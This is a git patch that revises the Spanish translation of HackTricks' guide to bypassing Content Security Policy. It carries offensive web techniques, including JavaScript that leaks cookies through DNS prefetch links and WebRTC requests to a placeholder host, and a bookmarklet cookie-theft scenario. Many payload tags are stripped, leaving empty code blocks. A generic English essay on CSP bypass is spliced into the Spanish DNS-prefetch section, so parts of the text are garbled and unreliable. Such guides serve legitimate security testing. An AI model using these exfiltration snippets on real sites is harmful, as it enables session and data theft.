From 5b197b83e610b2d748ab8d980b3cac56b39d873c Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 15 Mar 2024 22:24:08 +0000 Subject: [PATCH] Translated ['pentesting-web/content-security-policy-csp-bypass/README.md --- .../README.md | 249 +++++++++++------- 1 file changed, 149 insertions(+), 100 deletions(-) diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 66914bbaa..86663c81a 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -9,37 +9,37 @@ Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Únete al servidor de [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs! +Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. **Perspectivas de Hacking**\ -Involúcrate con contenido que explora la emoción y desafíos del hacking +Participa en contenido que explora la emoción y los desafíos del hacking. **Noticias de Hacking en Tiempo Real**\ -Mantente al día con el mundo del hacking a través de noticias e información en tiempo real +Mantente al día con el mundo del hacking a través de noticias e información en tiempo real. **Últimos Anuncios**\ -Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas +Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas. -**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! +**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo! ## ¿Qué es CSP? -La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando los caminos y fuentes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. +La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos incluyen una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. La implementación de CSP se realiza a través de **encabezados de respuesta** o mediante la incorporación de **elementos meta en la página HTML**. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. -- Implementado a través de encabezado de respuesta: +* Implementado a través de encabezado de respuesta: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implementado a través de la etiqueta meta: +* Implementado a través de la etiqueta meta: ```xml ``` @@ -66,49 +66,63 @@ object-src 'none'; ``` ### Directivas -* **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea, y scripts activados por manejadores de eventos o hojas de estilo XSLT. -* **default-src**: Establece una política predeterminada para obtener recursos cuando las directivas de obtención específicas están ausentes. -* **child-src**: Especifica los recursos permitidos para los trabajadores web y el contenido de marcos incrustados. -* **connect-src**: Restringe las URLs que pueden cargarse utilizando interfaces como fetch, WebSocket, XMLHttpRequest. +* **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por manejadores de eventos o hojas de estilo XSLT. +* **default-src**: Establece una política predeterminada para la obtención de recursos cuando las directivas de obtención específicas están ausentes. +* **child-src**: Especifica los recursos permitidos para los trabajadores web y el contenido incrustado de marcos. +* **connect-src**: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest. * **frame-src**: Restringe las URLs para marcos. -* **frame-ancestors**: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como ``, ` // The bot will load an URL with the payload @@ -531,13 +563,13 @@ run(); Este ataque implicaría algo de ingeniería social donde el atacante **convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **burlando la CSP y permitiendo robar información sensible** como cookies o tokens. -Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Para obtener más información, [**consulte el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### Bypass de CSP restringiendo CSP -En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se burla la CSP al inyectar dentro de un iframe permitido una CSP más restrictiva que prohibía cargar un archivo JS específico que, luego, a través de **polución de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. +En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se burla la CSP al inyectar dentro de un iframe permitido una CSP más restrictiva que impedía cargar un archivo JS específico que, luego, a través de **polución de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. -Puedes **restringir una CSP de un Iframe** con el atributo **`csp`**: +Puede **restringir una CSP de un Iframe** con el atributo **`csp`**: {% code overflow="wrap" %} ```html @@ -555,7 +587,7 @@ CSP puede ser más restrictivo utilizando **etiquetas meta HTML** y los scripts ``` ### Extracción de JS con Content-Security-Policy-Report-Only -Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final de callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\ +Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\ Para obtener más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Bypasses de Exfiltración de CSP @@ -646,7 +678,7 @@ Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, ``` ### DNS Prefetch -Para cargar páginas más rápido, los navegadores van a preresolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\ +Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\ Puedes indicar a un navegador que pre-resuelva un nombre de host con: `` Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**: @@ -655,7 +687,25 @@ var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` -Otra forma de hacerlo: +### Bypassing Content Security Policy (CSP) + +#### Introduction + +Content Security Policy (CSP) is a security layer that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website. + +#### Bypass Techniques + +1. **Unsafe Inline Scripts**: By using techniques like dynamic script injection or event handlers, attackers can execute arbitrary code inline, bypassing CSP restrictions. + +2. **Data: Scheme**: Attackers can leverage the `data:` scheme to embed malicious code within a website, bypassing CSP restrictions on external resources. + +3. **Unsafe Eval**: The `unsafe-eval` directive in CSP allows the execution of dynamically generated code using functions like `eval()`. Attackers can exploit this to bypass CSP protections. + +4. **Nonce Bypass**: If a website improperly implements nonce-based CSP, attackers can bypass restrictions by injecting scripts with a valid nonce. + +#### Conclusion + +While Content Security Policy is an effective security measure, it is crucial to understand potential bypass techniques to ensure robust protection against attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities effectively. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; @@ -674,7 +724,7 @@ Aparentemente, esta técnica no funciona en navegadores sin interfaz (bots) En varias páginas se puede leer que **WebRTC no verifica la política `connect-src`** del CSP. -De hecho, se pueden _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código: +De hecho, puedes _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` @@ -709,7 +759,6 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - ​
@@ -736,7 +785,7 @@ Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).